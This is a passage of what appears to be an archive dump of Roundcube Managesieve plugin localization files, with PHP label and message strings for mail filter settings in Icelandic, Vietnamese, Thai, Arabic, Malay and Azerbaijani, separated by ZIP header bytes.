$labels['filtercontains'] = 'inniheldur';
$labels['filternotcontains'] = 'inniheldur ekki';
$labels['filteris'] = 'er jafnt og';
$labels['filterisnot'] = 'er ekki jafnt og';
$labels['filterexists'] = 'er til';
$labels['filternotexists'] = 'er ekki til';
$labels['filterunder'] = 'undir';
$labels['filterover'] = 'yfir';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME part:';
$labels['mime-message'] = 'skilaboð';
$labels['addrule'] = 'Bæta við reglu';
$labels['delrule'] = 'Eyða reglu';
$labels['messagemoveto'] = 'Færa skilaboð í';
$labels['messageredirect'] = 'Endurbeina skilaboðum til';
$labels['messagecopyto'] = 'Afrita skilaboð í';
$labels['messagesendcopy'] = 'Senda afrit af skilaboðum til';
$labels['messagedelete'] = 'Eyða skilaboðum';
$labels['add'] = 'Bæta við';
$labels['del'] = 'Eyða';
$labels['sender'] = 'Sendandi';
$labels['recipient'] = 'Viðtakandi';
$labels['vacationaddr'] = 'Tölvupóstföngin mín:';
$labels['vacationsubject'] = 'Meginmál skilaboða:';
$labels['days'] = 'dagar';
$labels['seconds'] = 'sekúndur';
$labels['enable'] = 'Gera virkt/óvirkt';
$labels['active'] = 'virkt';
$labels['none'] = 'ekkert';
$labels['flagread'] = 'Lesið';
$labels['flagdeleted'] = 'Eytt';
$labels['flaganswered'] = 'Svarað';
$labels['flagflagged'] = 'Flaggað';
$labels['flagdraft'] = 'Drög';
$labels['varlower'] = 'lágstafa';
$labels['varupper'] = 'hástafa';
$labels['varlowerfirst'] = 'fyrsti stafur lágstafur';
$labels['varupperfirst'] = 'fyrsti stafur hástafur';
$labels['varlength'] = 'lengd';
$labels['notifyimportance'] = 'Mikilvægi:';
$labels['notifyimportancelow'] = 'lítið';
$labels['notifyimportancenormal'] = 'venjulegt';
$labels['notifyimportancehigh'] = 'mikið';
$labels['notifymethodmailto'] = 'Tölvupóstfang';
$labels['notifymethodtel'] = 'Sími';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Búa til síu';
$labels['nextstep'] = 'Næsta skref';
$labels['...'] = '...';
$labels['currdate'] = 'Dagsetning núna';
$labels['datetest'] = 'Dagsetning';
$labels['year'] = 'ár';
$labels['month'] = 'mánuður';
$labels['day'] = 'dagur';
$labels['date'] = 'dagsetning (yyyy-mm-dd)';
$labels['julian'] = 'dagsetning (júlíönsk)';
$labels['hour'] = 'klukkustund';
$labels['minute'] = 'mínúta';
$labels['second'] = 'sekúnda';
$labels['time'] = 'tími (hh:mm:ss)';
$labels['iso8601'] = 'dagsetning (ISO8601)';
$labels['std11'] = 'dagsetning (RFC2822)';
$labels['zone'] = 'tímabelti';
$labels['weekday'] = 'vikudagur (0-6)';
$labels['advancedopts'] = 'Ítarlegir valkostir';
$labels['body'] = 'Meginmál';
$labels['address'] = 'heimilisfang';
$labels['envelope'] = 'umslag';
$labels['text'] = 'texti';
$labels['allparts'] = 'allt';
$labels['domain'] = 'lén';
$labels['user'] = 'notandi';
$labels['detail'] = 'nánar';
$labels['indexlast'] = 'afturábak';
$labels['spamtestequals'] = 'er jafnt og';
$labels['spamtestnotequals'] = 'er ekki jafnt og';
$labels['vacation'] = 'Ekki í vinnunni';
$labels['vacation.reply'] = 'Svarskilaboð';
$labels['vacation.advanced'] = 'Flóknari stillingar';
$labels['vacation.subject'] = 'Viðfangsefni';
$labels['vacation.body'] = 'Meginmál';
$labels['vacation.start'] = 'Upphafstími';
$labels['vacation.end'] = 'Lokatími';
$labels['vacation.status'] = 'Staða';
$labels['vacation.on'] = 'Kveikt';
$labels['vacation.off'] = 'Slökkt';
$labels['vacation.addresses'] = 'Tölvupóstföngin mín';
$labels['vacation.saving'] = 'Vista gögn...';
$labels['vacation.keep'] = 'Halda';
$labels['vacation.discard'] = 'Henda';
$labels['vacation.redirect'] = 'Endurbeina til';
$labels['vacation.copy'] = 'Senda afrit á';
$labels['forward'] = 'Áframsending';
$labels['forward.redirect'] = 'Endurbeina til';
$labels['forward.copy'] = 'Senda afrit á';
$labels['forward.on'] = 'Kveikt';
$labels['forward.off'] = 'Slökkt';
$labels['forward.status'] = 'Staða:';
$labels['forward.saving'] = 'Vista gögn...';
$labels['message'] = 'Skilaboð';
$messages['nametoolong'] = 'Nafn er of langt.';
$messages['namereserved'] = 'Nafn er frátekið.';
PKh�\��'�'*plugins/managesieve/localization/vi_VN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Bộ lọc';
$labels['managefilters'] = 'Quản lý bộ lọc thư đến';
$labels['filtername'] = 'Lọc tên';
$labels['newfilter'] = 'Bộ lọc mới';
$labels['filteradd'] = 'Thêm bộ lọc';
$labels['filterdel'] = 'Xóa bộ lọc';
$labels['scope'] = 'Phạm vi';
$labels['moveup'] = 'Chuyển lên';
$labels['movedown'] = 'Chuyển xuống';
$labels['filterallof'] = 'Phù hợp với tất cả các qui luật sau đây';
$labels['filteranyof'] = 'Phù hợp với bất kỳ qui luật nào sau đây';
$labels['filterany'] = 'Tất cả tin nhắn';
$labels['filtercontains'] = 'Bao gồm';
$labels['filternotcontains'] = 'Không bao gồm';
$labels['filteris'] = 'Bằng với';
$labels['filterisnot'] = 'Không bằng với';
$labels['filterexists'] = 'Tồn tại';
$labels['filternotexists'] = 'Không tồn tại';
$labels['filtermatches'] = 'Tương ứng với cách diễn đạt';
$labels['filternotmatches'] = 'Không tương ứng với cách diễn đạt';
$labels['filterregex'] = 'Tương ứng với cách diễn đạt thông thường';
$labels['filternotregex'] = 'Không phù  hợp với cách diễn đạt thông thường';
$labels['filterunder'] = 'Dưới';
$labels['filterover'] = 'Hơn';
$labels['addrule'] = 'Thêm qui luật';
$labels['delrule'] = 'Xóa qui luật';
$labels['messagemoveto'] = 'Chuyển tin nhắn tới';
$labels['messageredirect'] = 'Gửi lại tin nhắn tới';
$labels['messagecopyto'] = 'Sao chép tin nhắn tới';
$labels['messagesendcopy'] = 'Gửi bản sao chép tin nhắn tới';
$labels['messagereply'] = 'Trả lời tin nhắn';
$labels['messagedelete'] = 'Xóa thư';
$labels['messagediscard'] = 'Loại bỏ với tin nhắn';
$labels['messagekeep'] = 'Giữ thư ở Hộp thư chính';
$labels['messagesrules'] = 'Với thư đến';
$labels['messagesactions'] = 'Thực hiện các hành động sau:';
$labels['add'] = 'Thêm';
$labels['del'] = 'Xoá';
$labels['sender'] = 'Người gửi';
$labels['recipient'] = 'Người nhận';
$labels['vacationdays'] = 'Số lần gửi thư (trong ngày)';
$labels['vacationinterval'] = 'Tần suất gửi thư:';
$labels['vacationreason'] = 'Nội dung chính';
$labels['vacationsubject'] = 'Tiêu đề thư';
$labels['days'] = 'ngày';
$labels['seconds'] = 'giây';
$labels['rulestop'] = 'Ngừng đánh giá qui luật';
$labels['enable'] = 'Kích hoạt/Không kích hoạt';
$labels['filtersets'] = 'Thiết lập bộ lọc';
$labels['filterdef'] = 'Định nghĩa bộ lọc';
$labels['active'] = 'Kích hoạt';
$labels['none'] = 'Không có';
$labels['fromset'] = 'Từ thiết lập';
$labels['fromfile'] = 'Từ hồ sơ';
$labels['filterdisabled'] = 'Bộ lọc được ngừng hoạt động';
$labels['countisgreaterthan'] = 'Đếm lớn hơn';
$labels['countisgreaterthanequal'] = 'Đếm lớn hơn hoặc bằng';
$labels['countislessthan'] = 'Đếm ít hơn';
$labels['countislessthanequal'] = 'Đếm ít hơn hoặc bằng';
$labels['countequals'] = 'Đếm bằng';
$labels['countnotequals'] = 'đếm không bằng với';
$labels['valueisgreaterthan'] = 'Giá trị lớn hơn';
$labels['valueisgreaterthanequal'] = 'Giá trị lớn hơn hoặc bằng';
$labels['valueislessthan'] = 'Giá trị nhỏ hơn';
$labels['valueislessthanequal'] = 'Giá trị nhỏ hơn hoặc bằng';
$labels['valueequals'] = 'Giá trị bằng';
$labels['valuenotequals'] = 'giá trị không bằng với';
$labels['setflags'] = 'Thiết lập đánh dấu cho thư';
$labels['addflags'] = 'Thêm đánh dấu cho thư';
$labels['removeflags'] = 'Bỏ đánh dấu khỏi thư';
$labels['flagread'] = 'Đọc';
$labels['flagdeleted'] = 'Đã được xóa';
$labels['flaganswered'] = 'Đã trả lời';
$labels['flagflagged'] = 'Đã đánh dấu';
$labels['flagdraft'] = 'Nháp';
$labels['setvariable'] = 'Đặt biến';
$labels['setvarname'] = 'Tên biến:';
$labels['setvarvalue'] = 'Giá trị biến:';
$labels['setvarmodifiers'] = 'Bộ chia:';
$labels['varlower'] = 'viết thường';
$labels['varupper'] = 'viết hoa';
$labels['varlowerfirst'] = 'chữ cái đầu viết thường';
$labels['varupperfirst'] = 'chữ cái đầu viết hoa';
$labels['varquotewildcard'] = 'trích dẫn ký tự đặc biệt';
$labels['varlength'] = 'độ dài';
$labels['notify'] = 'Gửi thông báo';
$labels['notifytarget'] = 'Mục tiêu thông báo:';
$labels['notifymessage'] = 'Nội dung thông báo (tuỳ chọn):';
$labels['notifyoptions'] = 'Lựa chọn thông báo (tuỳ chọn):';
$labels['notifyfrom'] = 'Người gửi thông báo (tuỳ chọn):';
$labels['notifyimportance'] = 'Mức độ quan trọng:';
$labels['notifyimportancelow'] = 'thấp';
$labels['notifyimportancenormal'] = 'vừa phải';
$labels['notifyimportancehigh'] = 'cao';
$labels['notifymethodmailto'] = 'Thư điện tử';
$labels['notifymethodtel'] = 'Điện thoại';
$labels['notifymethodsms'] = 'Tin nhắn';
$labels['filtercreate'] = 'Tạo bộ lọc';
$labels['usedata'] = 'Dùng dữ liệu trong bộ lọc sau:';
$labels['nextstep'] = 'Bước tiếp theo';
$labels['...'] = '…';
$labels['currdate'] = 'Ngày hiện tại';
$labels['datetest'] = 'Ngày';
$labels['dateheader'] = 'tiêu đề:';
$labels['year'] = 'năm';
$labels['month'] = 'tháng';
$labels['day'] = 'ngày';
$labels['date'] = 'ngày (cú pháp: năm-tháng-ngày)';
$labels['julian'] = 'ngày (theo kiểu Julian)';
$labels['hour'] = 'giờ';
$labels['minute'] = 'phút';
$labels['second'] = 'giây';
$labels['time'] = 'giờ (cú pháp: giờ:phút:giây)';
$labels['iso8601'] = 'ngày (theo chuẩn ISO 8601)';
$labels['std11'] = 'ngày (theo chuẩn RFC 2822)';
$labels['zone'] = 'vùng thời gian';
$labels['weekday'] = 'ngày trog tuần (0-6)';
$labels['advancedopts'] = 'Tùy chọn tính năng cao hơn';
$labels['body'] = 'Nội dung';
$labels['address'] = 'Địa chỉ';
$labels['envelope'] = 'Phong bì';
$labels['modifier'] = 'Bổ nghĩa';
$labels['text'] = 'Văn bản';
$labels['undecoded'] = 'Chưa được giải mã (nguyên bản)';
$labels['contenttype'] = 'Kiểu mẫu nội dung';
$labels['modtype'] = 'Kiểu:';
$labels['allparts'] = 'Tất cả';
$labels['domain'] = 'Phạm vi';
$labels['localpart'] = 'Phần nội bộ';
$labels['user'] = 'Người dùng';
$labels['detail'] = 'Chi tiết';
$labels['comparator'] = 'Vật so sánh';
$labels['default'] = 'Mặc định';
$labels['octet'] = 'Khắt khe';
$labels['asciicasemap'] = 'Không phân biệt chữ hoa chữ thường';
$labels['asciinumeric'] = 'Bảng mã ASCII';
$labels['index'] = 'chỉ mục:';
$labels['indexlast'] = 'ngược';
$labels['spamtestequals'] = 'Bằng với';
$labels['spamtestnotequals'] = 'Không bằng với';
$labels['vacation.reply'] = 'Trả lời thư';
$labels['vacation.advanced'] = 'Tùy chọn tính năng cao hơn';
$labels['vacation.subject'] = 'Tiêu đề';
$labels['vacation.body'] = 'Nội dung thư';
$labels['vacation.status'] = 'Trạng thái';
$labels['vacation.on'] = 'Bật';
$labels['vacation.off'] = 'Tắt';
$labels['vacation.interval'] = 'Khoảng thời gian trả lời';
$labels['vacation.saving'] = 'Lưu lại dữ liệu...';
$labels['vacation.keep'] = 'Giữ';
$labels['forward.on'] = 'Bật';
$labels['forward.off'] = 'Tắt';
$labels['forward.saving'] = 'Lưu lại dữ liệu...';
$labels['duplicate.header'] = 'tiêu đề:';
$messages['filterunknownerror'] = 'Không tìm được lỗi máy chủ';
$messages['filterconnerror'] = 'Không kết nối được với máy chủ.';
$messages['filterdeleteerror'] = 'Không thể xóa bộ lọc. Xuất hiện lỗi ở máy chủ';
$messages['filterdeleted'] = 'Xóa bộ lọc thành công';
$messages['filtersaved'] = 'Lưu bộ lọc thành công';
$messages['filtersaveerror'] = 'Không thể lưu bộ lọc. Xuất hiện lỗi ở máy chủ';
$messages['filterdeleteconfirm'] = 'Bạn có thực sự muốn xóa bộ lọc được chọn?';
$messages['ruledeleteconfirm'] = 'Bạn có chắc chắn muốn xóa qui luật được chọn?';
$messages['actiondeleteconfirm'] = 'Bạn có chắc chắn muốn xóa hành động được chọn?';
$messages['forbiddenchars'] = 'Ký tự bị cấm trong ô';
$messages['cannotbeempty'] = 'Ô không thể bị bỏ trống';
$messages['ruleexist'] = 'Đã tồn tại bộ lọc với tên cụ thế';
$messages['activateerror'] = 'Không thể khởi động (các) bộ lọc được chọn. Có lỗi xuất hiện ở máy chủ';
$messages['deactivateerror'] = 'Không thể tắt (các) bộ lọc đã chọn. Có lỗi xuất hiện ở máy chủ';
$messages['deactivated'] = 'Bộ lọc được khởi động thành công';
$messages['activated'] = 'Bộ lọc được tắt thành công';
$messages['moved'] = 'Bộ lọc được chuyển đi thành công';
$messages['moveerror'] = 'Không thể chuyển bộ lọc đã chọn. Có lỗi xuất hiện ở máy chủ.';
$messages['nametoolong'] = 'Tên quá dài';
$messages['namereserved'] = 'Tên đã được bảo vệ';
$messages['setexist'] = 'Thiết lập đã tồn tại';
$messages['nodata'] = 'Ít nhất một vị trí phải được chọn';
$messages['invaliddateformat'] = 'Lỗi không đúng cú pháp ngày hoặc nhập ngày sai';
$messages['saveerror'] = 'Không thể lưu trữ dữ liệu. Xuất hiện lỗi ở máy chủ.';
PKh�\D�
]]*plugins/managesieve/localization/th_TH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'ตัวกรองข้อมูล';
$labels['managefilters'] = 'จัดการตัวกรองอีเมลขาเข้า';
$labels['filtername'] = 'ชื่อตัวกรองข้อมูล';
$labels['newfilter'] = 'สร้างตัวกรองข้อมูลใหม่';
$labels['filteradd'] = 'เพิ่มตัวกรองข้อมูล';
$labels['filterdel'] = 'ลบตัวกรองข้อมูล';
$labels['scope'] = 'ขอบเขต';
$labels['moveup'] = 'เลื่อนขึ้น';
$labels['movedown'] = 'เลื่อนลง';
$labels['filterallof'] = 'จับคู่กฎทั้งหมดต่อไปนี้';
$labels['filteranyof'] = 'จับคู่กฎใด ๆ ต่อไปนี้';
$labels['filterany'] = 'ข้อความทั้งหมด';
$labels['filtercontains'] = 'ที่มีคำว่า';
$labels['filternotcontains'] = 'ไม่มีคำว่า';
$labels['filteris'] = 'ที่มีค่าเท่ากับ';
$labels['filterisnot'] = 'ที่มีค่าไม่เท่ากับ';
$labels['filterexists'] = 'ที่มีอยู่';
$labels['filternotexists'] = 'ไม่มีอยู่';
$labels['filtermatches'] = 'ตรงกับนิพจน์';
$labels['filternotmatches'] = 'ไม่ตรงกับนิพจน์';
$labels['addrule'] = 'เพิ่มกฏ';
$labels['delrule'] = 'ลบกฏ';
$labels['messagemoveto'] = 'ย้ายข้อความไปที่';
$labels['messageredirect'] = 'เปลียนเส้นทางข้อความไปที่';
$labels['messagecopyto'] = 'คัดลอกข้อความไปที่';
$labels['messagesendcopy'] = 'ส่งข้อความคัดลอกไปที่';
$labels['messagedelete'] = 'ลบข้อความ';
$labels['messagediscard'] = 'ยกเลิกข้อความ';
$labels['messagesrules'] = 'สำหรับอีเมลขาเข้า:';
$labels['add'] = 'เพิ่ม';
$labels['del'] = 'ลบ';
$labels['sender'] = 'ผู้ส่ง';
$labels['recipient'] = 'ผู้รับ';
$labels['vacationsubject'] = 'หัวเรื่องข้อความ:';
$labels['enable'] = 'เปิดใช้งาน/ปิดใช้งาน';
$labels['flagread'] = 'อ่าน';
$labels['flagdeleted'] = 'ลบแล้ว';
$labels['flagflagged'] = 'ปักธง';
$labels['notifymethodmailto'] = 'อีเมล์';
$labels['notifymethodtel'] = 'โทรศัพท์';
$labels['datetest'] = 'วันที่';
$labels['advancedopts'] = 'ตัวเลือกขั้นสูง';
$labels['body'] = 'เนื้อหา';
$labels['spamtestequals'] = 'ที่มีค่าเท่ากับ';
$labels['spamtestnotequals'] = 'ที่มีค่าไม่เท่ากับ';
$labels['vacation.subject'] = 'หัวจดหมาย';
$labels['vacation.body'] = 'เนื้อหา';
$labels['vacation.keep'] = 'เก็บ';
PKh�\�o�:�'�'*plugins/managesieve/localization/ar_SA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'تصفية';
$labels['managefilters'] = 'ادارة تصفية البريد الوارد';
$labels['filtername'] = 'اسم التصفية';
$labels['newfilter'] = 'تصفية جديدة';
$labels['filteradd'] = 'اضافة تصفية';
$labels['filterdel'] = 'حذف تصفية';
$labels['actions'] = 'الإجراءات';
$labels['scope'] = 'مجال';
$labels['moveup'] = 'نقل الى الاعلى ';
$labels['movedown'] = 'نقل الى الاسفل';
$labels['filterallof'] = 'مطابقة جميع القواعد التالية';
$labels['filteranyof'] = 'مطابقة اي القواعد التالية';
$labels['filterany'] = 'كل الرسائل';
$labels['filtercontains'] = 'محتوى';
$labels['filternotcontains'] = 'بدون محتوى';
$labels['filteris'] = 'مساوي الى';
$labels['filterisnot'] = 'لا يساوي';
$labels['filterexists'] = 'موجود';
$labels['filternotexists'] = 'غير موجود';
$labels['filtermatches'] = 'يطابق التعبير';
$labels['filternotmatches'] = 'لا يطابق التعبير';
$labels['filterregex'] = 'يطابق التعبير العادي';
$labels['filternotregex'] = 'لا يطابق التعبير العادي';
$labels['filterunder'] = 'تحت';
$labels['filterover'] = 'خلال';
$labels['addrule'] = 'اضافة قاعدة';
$labels['delrule'] = 'حذف قاعدة';
$labels['messagemoveto'] = 'نقل الرساله الى ';
$labels['messageredirect'] = 'إعادة توجيه الرسالة الى ';
$labels['messagecopyto'] = 'نسخ الرسالة الى ';
$labels['messagesendcopy'] = 'ارسال نسخة من الرسالة الى ';
$labels['messagereply'] = 'الرد مع رسالة';
$labels['messagedelete'] = 'حذف الرسالة';
$labels['messagediscard'] = 'تجاهل مع الرسالة';
$labels['messagekeep'] = 'إبقاء الرسالة في علبة الوارد';
$labels['messagesrules'] = 'للبريد الوارد:';
$labels['messagesactions'] = '...تنفيذ المهام التالية:';
$labels['add'] = 'إضافة';
$labels['del'] = 'حذف';
$labels['sender'] = 'المرسل';
$labels['recipient'] = 'مستلم';
$labels['vacationdays'] = 'في الغالب كم رسالة ترسل (بالايام):';
$labels['vacationinterval'] = 'كم عدد الرسائل المرسلة عادةً:';
$labels['vacationreason'] = 'نص الرسالة (بسبب الاجازة):';
$labels['vacationsubject'] = 'موضوع الرسالة:';
$labels['days'] = 'ايام';
$labels['seconds'] = 'ثواني';
$labels['rulestop'] = 'ايقاف تقييم القواعد';
$labels['enable'] = 'تفعيل/تعطيل';
$labels['filtersets'] = 'مجموعة تصفية';
$labels['filterdef'] = 'تعريف التصفية ';
$labels['active'] = 'نشط';
$labels['none'] = 'لاشيء';
$labels['fromset'] = 'من مجموعة';
$labels['fromfile'] = 'من ملف';
$labels['filterdisabled'] = 'تعطيل التصفية';
$labels['countisgreaterthan'] = 'العدد اكبر من ';
$labels['countisgreaterthanequal'] = 'العدد اكبر من او يساوي ';
$labels['countislessthan'] = 'العدد اقل من ';
$labels['countislessthanequal'] = 'العدد اقل من او يساوي';
$labels['countequals'] = 'العدد يساوي ';
$labels['countnotequals'] = 'العدد لا يساوي';
$labels['valueisgreaterthan'] = 'القيمة اكبر من ';
$labels['valueisgreaterthanequal'] = 'القيمة اكبر من او تساوي';
$labels['valueislessthan'] = 'القيمة اقل من ';
$labels['valueislessthanequal'] = 'القيمة اقل من او يساوي';
$labels['valueequals'] = 'القيمة تساوي';
$labels['valuenotequals'] = 'القيمة لا تساوي';
$labels['setflags'] = 'ضع وسم على هذه الرسالة ';
$labels['addflags'] = 'اضف وسم على هذه الرسالة ';
$labels['removeflags'] = 'احذف الوسم الموجود على هذه الرسالة ';
$labels['flagread'] = 'قراءة ';
$labels['flagdeleted'] = 'محذوف';
$labels['flaganswered'] = 'مجابة';
$labels['flagflagged'] = 'موسوم';
$labels['flagdraft'] = 'مسودة';
$labels['setvariable'] = 'تعيين متغير';
$labels['setvarname'] = 'اسم المتغير:';
$labels['setvarvalue'] = 'قيمة المتغير:';
$labels['setvarmodifiers'] = 'تعديلات:';
$labels['varquotewildcard'] = 'أقتبس أحرف خاصة';
$labels['varlength'] = 'الطول';
$labels['notify'] = 'ارسل تنبية';
$labels['notifyimportance'] = 'اهمية:';
$labels['notifyimportancelow'] = 'منخفض';
$labels['notifyimportancenormal'] = 'عادي';
$labels['notifyimportancehigh'] = 'مرتفع';
$labels['notifymethodmailto'] = 'البريد الإلكتروني';
$labels['notifymethodtel'] = 'الهاتف';
$labels['filtercreate'] = 'انشئ تصفية';
$labels['usedata'] = 'استخدم البيانات التالية في الفلتر:';
$labels['nextstep'] = 'الخطوة التالية';
$labels['...'] = '...';
$labels['currdate'] = 'التاريخ الحالي';
$labels['datetest'] = 'التاريخ';
$labels['dateheader'] = 'الراس:';
$labels['year'] = 'السنة';
$labels['month'] = 'شهر';
$labels['day'] = 'يوم';
$labels['date'] = 'التاريخ (yyyy-mm-dd)';
$labels['julian'] = 'التاريخ (يوليان)';
$labels['hour'] = 'ساعات';
$labels['minute'] = 'دقائق';
$labels['second'] = 'ثواني';
$labels['time'] = 'الوقت (hh:mm:ss)';
$labels['iso8601'] = 'التاريخ (ISO8601)';
$labels['std11'] = 'التاريخ (RFC2822)';
$labels['zone'] = 'المنطقة الزمنية';
$labels['weekday'] = 'ايام العمل (0-6)';
$labels['advancedopts'] = 'خيارات متقدّمة';
$labels['body'] = 'نص';
$labels['address'] = 'العنوان';
$labels['modifier'] = 'تعديل:';
$labels['text'] = 'نص';
$labels['contenttype'] = 'نوع المحتوى';
$labels['modtype'] = 'نوع:';
$labels['allparts'] = 'الكل';
$labels['domain'] = 'المجال';
$labels['localpart'] = 'الجزء المحلي';
$labels['user'] = 'مستخدم';
$labels['detail'] = 'تفاصيل';
$labels['default'] = 'افتراضي';
$labels['index'] = 'الوارد:';
$labels['indexlast'] = 'تراجع';
$labels['spamtestequals'] = 'مساوي الى';
$labels['spamtestnotequals'] = 'لا يساوي';
$labels['vacation'] = 'خارج المكتب';
$labels['vacation.advanced'] = 'اعدادات متقدمة';
$labels['vacation.from'] = 'الرد على عنوان المرسل';
$labels['vacation.subject'] = 'موضوع';
$labels['vacation.body'] = 'محتوى ';
$labels['vacation.status'] = 'الحالة ';
$labels['vacation.on'] = 'تشغيل';
$labels['vacation.off'] = 'ايقاف';
$labels['vacation.after'] = 'ضع قاعدة الخروج من المنصب بعد ذلك';
$labels['vacation.saving'] = 'يتم حفظ البيانات...';
$labels['vacation.keep'] = 'ابقاء';
$labels['forward.on'] = 'تشغيل';
$labels['forward.off'] = 'ايقاف';
$labels['forward.saving'] = 'يتم حفظ البيانات...';
$labels['duplicate.header'] = 'الراس:';
$messages['filterunknownerror'] = 'خطا غير معروف من الخادم.';
$messages['filterconnerror'] = 'لا يمكن الاتصال بالخادم.';
$messages['filterdeleteerror'] = 'لا يمكن حذف التصفية.خطا في الخادم.';
$messages['filterdeleted'] = 'تم حذف التصفية بنجاح.';
$messages['filtersaved'] = 'تم حفظ التصفية بنجاح.';
$messages['filtersaveerror'] = 'لا يمكن حفظ التصفية.خطا في الخادم.';
$messages['filterdeleteconfirm'] = 'هل تريد فعلاً حذف التصفية المحددة؟';
$messages['ruledeleteconfirm'] = 'هل تريد فعلاً حذف القواعد المحددة؟';
$messages['actiondeleteconfirm'] = 'هل تريد فعلاً حذف الاجراءات المحددة؟';
$messages['forbiddenchars'] = 'احرف محظورة في هذا الحقل.';
$messages['cannotbeempty'] = 'لا يمكن ترك الحقل فارغاً';
$messages['ruleexist'] = 'اسم هذة التصفية موجود مسبقاً';
$messages['setactivateerror'] = 'تعذر تنشيط مجموعة التصفية المحددة. حدث خطأ في الخادم.';
$messages['setdeactivateerror'] = 'تعذر إلغاء تنشيط مجموعة التصفية المحددة. حدث خطأ في الخادم.';
$messages['activateerror'] = 'لا يمكن تمكين التصفية(ـات) المحددة .خطا في الخادم.';
$messages['deactivateerror'] = 'لا يمكن تعطيل التصفية(ـات) المحددة .خطا في الخادم.';
$messages['deactivated'] = 'تم تعطيل المصفيـ(ـاة) بنجاح.';
$messages['activated'] = 'تم تفعيل المصفيـ(ـاة) بنجاح.';
$messages['moved'] = 'تم نقل التصفية بنجاح.';
$messages['moveerror'] = 'لا يمكن نقل التصفياة المحددة.خطا في الخادم.';
$messages['nametoolong'] = 'الإسم طويل جداً';
$messages['setexist'] = 'المجموعة موجودة مسبقا.';
$messages['nodata'] = 'يجب تحديد موضع واحد على الأقل!';
$messages['invaliddateformat'] = 'تاريخ غير صحيح او يوجد خطا في تنسق اجزاء التاريخ';
$messages['saveerror'] = 'لا يمكن حفظ البيانات. خطا في الخادم.';
PKh�\l�|***plugins/managesieve/localization/ms_MY.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['messagedelete'] = 'Pindah mesej ke sampah';
$labels['del'] = 'Padam';
$labels['flagdeleted'] = 'Telah dipadam';
$labels['flagflagged'] = 'Ditanda';
$labels['notifymethodmailto'] = 'E-Mel';
$labels['datetest'] = 'Tarikh';
$labels['vacation.subject'] = 'Subjek';
PKh�\>} ��!�!*plugins/managesieve/localization/az_AZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Süzgəclər';
$labels['managefilters'] = 'Gələn məktub üçün süzgəclərin idarəsi';
$labels['filtername'] = 'Süzgəcin adı';
$labels['newfilter'] = 'Yeni süzgəc';
$labels['filteradd'] = 'Süzgəc əlavə et';
$labels['filterdel'] = 'Süzgəci sil';
$labels['moveup'] = 'Yuxarı apar';
$labels['movedown'] = 'Aşağı apar';
$labels['filterallof'] = 'göstərilən bütün qaydalara uyur';
$labels['filteranyof'] = 'verilmiş istənilən qaydaya uyur';
$labels['filterany'] = 'bütün məktublar';
$labels['filtercontains'] = 'daxildir';
$labels['filternotcontains'] = 'daxil deyil';
$labels['filteris'] = 'uyğundur';
$labels['filterisnot'] = 'uyğun deyil';
$labels['filterexists'] = 'mövcuddur';
$labels['filternotexists'] = 'mövcud deyil';
$labels['filtermatches'] = 'ifadə ilə üst-üstə düşür';
$labels['filternotmatches'] = 'ifadə ilə üst-üstə düşmür';
$labels['filterregex'] = 'daimi ifadənin nəticəsi ilə üst-üstə düşür';
$labels['filternotregex'] = 'daimi ifadə ilə üst-üstə düşmür';
$labels['filterunder'] = 'altında';
$labels['filterover'] = 'yuxarıda';
$labels['addrule'] = 'Qayda əlavə et';
$labels['delrule'] = 'Qaydanı sil';
$labels['messagemoveto'] = 'Məktubu köçür';
$labels['messageredirect'] = 'Məktubu yolla';
$labels['messagecopyto'] = 'Məktubu kopyala';
$labels['messagesendcopy'] = 'Məktubun kopyasını göndər';
$labels['messagereply'] = 'Məktubla cavab ver';
$labels['messagedelete'] = 'Sil';
$labels['messagediscard'] = 'Məktubla rədd et';
$labels['messagekeep'] = 'Məktubu gələnlərdə saxla';
$labels['messagesrules'] = 'Daxil olan məktub üçün:';
$labels['messagesactions'] = '...növbəti hərəkəti yerinə yetir:';
$labels['add'] = 'Əlavə et';
$labels['del'] = 'Sil';
$labels['sender'] = 'Göndərən';
$labels['recipient'] = 'Qəbul edən';
$labels['vacationdays'] = 'Məktub neçə müddətdən bir göndərilsin (gündə):';
$labels['vacationinterval'] = 'Məktublar nə qədər sıx göndərilsin:';
